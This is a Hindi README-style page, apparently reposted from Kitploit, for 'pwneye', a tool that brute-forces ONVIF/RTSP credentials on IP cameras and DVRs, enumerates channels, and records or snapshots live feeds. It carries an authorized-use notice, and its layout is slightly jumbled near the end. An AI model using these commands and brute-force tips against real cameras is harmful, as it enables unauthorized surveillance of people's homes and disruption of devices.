root@kitploit:~
नमूना आउटपुट:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

यदि आप Open all discovered channels चुनते हैं, तो pwneye एक समर्पित मल्टी-चैनल क्लाइंट लॉन्च करता है जो सभी खोजे गए स्ट्रीम को एक ही विंडो में रखता है। प्रत्येक फीड मोज़ेक में लाइव प्रीव्यू के रूप में दिखाई जाती है, और किसी टाइल पर क्लिक करने से वह चैनल एक बड़े फोकस्ड व्यू में प्रमोट हो जाता है, जिसमें ग्रिड पर वापस लौटने के लिए एक सरल Back क्रिया होती है।

pwneye dedicated multi-channel client demo

डिफ़ॉल्ट रूप से, लाइव RTSP प्रीव्यू समर्पित pwneye क्लाइंट का उपयोग करता है। यदि आप इसके बजाय क्लासिक सिस्टम-प्लेयर वर्कफ़्लो पसंद करते हैं, तो आप सत्यापित स्ट्रीम को ffplay के साथ खोलने के लिए --legacy जोड़ सकते हैं।

जब समर्पित क्लाइंट खुला होता है, तो आप GUI छोड़े बिना फोकस्ड व्यू से सीधे Snapshot और Record भी ट्रिगर कर सकते हैं। यह तब उपयोगी होता है जब आप पहले किसी फीड का निरीक्षण करना चाहते हैं और उसके बाद ही स्टिल इमेज सहेजने या साक्ष्य रिकॉर्ड करने का निर्णय लेते हैं।

स्ट्रीमिंग, रिकॉर्डिंग और स्नैपशॉट

लाइव प्रीव्यू के साथ एक सत्यापित स्ट्रीम खोलें:```bash pwneye -t 192.168.1.135 --vendor tenda

root@kitploit:~
RTSP स्ट्रीम को पूर्वावलोकन के साथ रिकॉर्ड करें:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

स्नैपशॉट लें, पूरी रिकॉर्डिंग के बजाय:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

root@kitploit:~
बिना पूर्वावलोकन विंडो खोले रिकॉर्ड करें:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

व्यवहार रिकॉर्ड करना:

  • --record [OUTPUT.mp4]: सत्यापित RTSP स्ट्रीम रिकॉर्ड करें; यदि छोड़ दिया जाए, तो ~/.pwneye/recordings के अंतर्गत एक टाइमस्टैम्प्ड फ़ाइल बनाई जाती है
  • --snapshot [OUTPUT.jpg]: सत्यापित RTSP स्ट्रीम से एक स्थिर फ्रेम सहेजें; यदि छोड़ दिया जाए, तो ~/.pwneye/snapshots के अंतर्गत एक टाइमस्टैम्प्ड फ़ाइल बनाई जाती है
  • --no-video: लाइव प्रीव्यू और डिकोडिंग छोड़ें
  • समर्पित व्यूअर फ़ोकस्ड व्यू में सीधे Snapshot और Record क्रियाएँ भी प्रदर्शित करता है
  • डिफ़ॉल्ट रिकॉर्डिंग ~/.pwneye/recordings/<target>/ के अंतर्गत संग्रहीत की जाती हैं
  • डिफ़ॉल्ट स्नैपशॉट ~/.pwneye/snapshots/<target>/ के अंतर्गत संग्रहीत किए जाते हैं

टिप्स और ट्रिक्स

अगर pwneye कोई वीडियो गेम होता, तो ये शायद वे टिप्स होते जो आप लोडिंग स्क्रीन पर देखते:

  • मज़बूत वेब UI का मतलब सुरक्षित कैमरा नहीं है: अच्छी तरह से सुरक्षित वेब इंटरफ़ेस वाला कैमरा ज़रूरी नहीं कि समग्र रूप से अच्छी तरह सुरक्षित हो। ठोस वेब लॉकआउट व्यवहार मिलना आम है जबकि RTSP अनप्रमाणित रहता है या प्रभावी रूप से असीमित प्रयास स्वीकार करता है।
  • जब संभव हो तो डिस्कवरी का उपयोग करें: अगर --discover स्थानीय नेटवर्क पर काम करता है, तो पहले इसका उपयोग करें। विक्रेता जानकारी, डिवाइस मेटाडेटा और कैश्ड निष्कर्ष बाद के RTSP कार्य को अधिक शांत और विश्वसनीय बना सकते हैं।
  • ONVIF पहले करना अधिक समझदारी भरा कदम हो सकता है: ONVIF और RTSP अक्सर समान क्रेडेंशियल साझा करते हैं। अगर ONVIF उजागर है, तो सीधे RTSP पर हमला करने और स्ट्रीम को अस्थिर बनाने के बजाय --skip-rtsp के साथ पहले उस पक्ष पर ब्रूटफोर्स करना आमतौर पर अधिक समझदारी है। जब pwneye वैध ONVIF क्रेडेंशियल पाता है, तो यह उन्हें RTSP पर स्वचालित रूप से पुनः उपयोग करने का प्रयास करेगा।
  • ज्ञात विक्रेता शोर कम करते हैं: अगर आप पहले से विक्रेता जानते हैं, तो स्पष्ट रूप से --vendor पास करें। यह अनुरोधों को कम करता है और नाजुक लक्ष्यों को स्थिर रखने में मदद कर सकता है।
  • ज्ञात पथ अंधे अनुमान से बेहतर हैं: अगर आप पहले से पथ जानते हैं या संदेह करते हैं, तो व्यापक RTSP एन्यूमरेशन के बजाय --connection-string का उपयोग करें। यह आपको अनुरोध सेट पर सख्त नियंत्रण देता है और विफलताओं की व्याख्या करना आसान बनाता है।
  • एक रिकॉर्डर एक से अधिक फ़ीड उजागर कर सकता है: अगर लक्ष्य DVR/NVR जैसा दिखता है, तो यह मानने से पहले कि यह केवल एक स्ट्रीम उजागर करता है, --multi-channel या मैन्युअल चैनल टेम्पलेट आज़माएँ।
  • रीबूट एक पुनर्प्राप्ति कदम हो सकता है: अगर आपके पास वैध RTSP क्रेडेंशियल हैं लेकिन फिर भी वीडियो नहीं खोल पा रहे हैं, तो बार-बार प्रोबिंग के बाद स्ट्रीम केवल अस्थिर हो सकती है। अगर आपके पास ONVIF एक्सेस भी है, तो एक कठोर लेकिन अक्सर प्रभावी पुनर्प्राप्ति कदम है।

आभार

@kaburagisec को onvif-python के लिए विशेष धन्यवाद, जो pwneye द्वारा उपयोग की जाने वाली ONVIF लाइब्रेरी है। इसने इस परियोजना के ONVIF पक्ष को काफी आसान और अधिक विश्वसनीय बना दिया।

Darix Deros को परीक्षण के दौरान मदद करने और कई उपयोगी सुझाव साझा करने के लिए धन्यवाद, जिन्होंने टूल के कुछ हिस्सों में सुधार किया, जिसमें ONVIF डिस्कवरी वर्कफ़्लो भी शामिल है।

सुरक्षा

pwneye का उपयोग केवल उन संपत्तियों के विरुद्ध करें जिनके आप मालिक हैं या जिनका मूल्यांकन करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।

यह टूल सेवाओं की एन्यूमरेट कर सकता है, प्रमाणीकरण का परीक्षण कर सकता है, स्ट्रीम खोल सकता है, वीडियो रिकॉर्ड कर सकता है, ONVIF प्रशासनिक सुविधाओं के साथ इंटरैक्ट कर सकता है, और पर्याप्त विशेषाधिकारों के साथ, लक्ष्य डिवाइस के व्यवहार को रीबूट, रीसेट, विकृत या अन्यथा बदल सकता है।

भले ही आपका लक्ष्य केवल साक्ष्य संग्रह हो, बार-बार RTSP प्रोबिंग नाजुक कैमरों को अस्थिर कर सकती है, और ONVIF क्रियाओं का तत्काल परिचालन प्रभाव हो सकता है।

लाइसेंस

यह परियोजना GNU GPL3 लाइसेंस के अंतर्गत वितरित की जाती है। LICENSE.md देखें।

टूल डाउनलोड करें
--reboot
  • एक वैध स्ट्रीम हमेशा सार्थक नहीं होती: कुछ डिवाइस गलत पथों और गलत चैनल आईडी के लिए भी खुशी से स्ट्रीम लौटाते हैं। व्यापक चैनल सफलता को एक संकेत के रूप में मानें जब तक कि आप पुष्टि न करें कि परिणामी फ़ीड वास्तव में अलग है।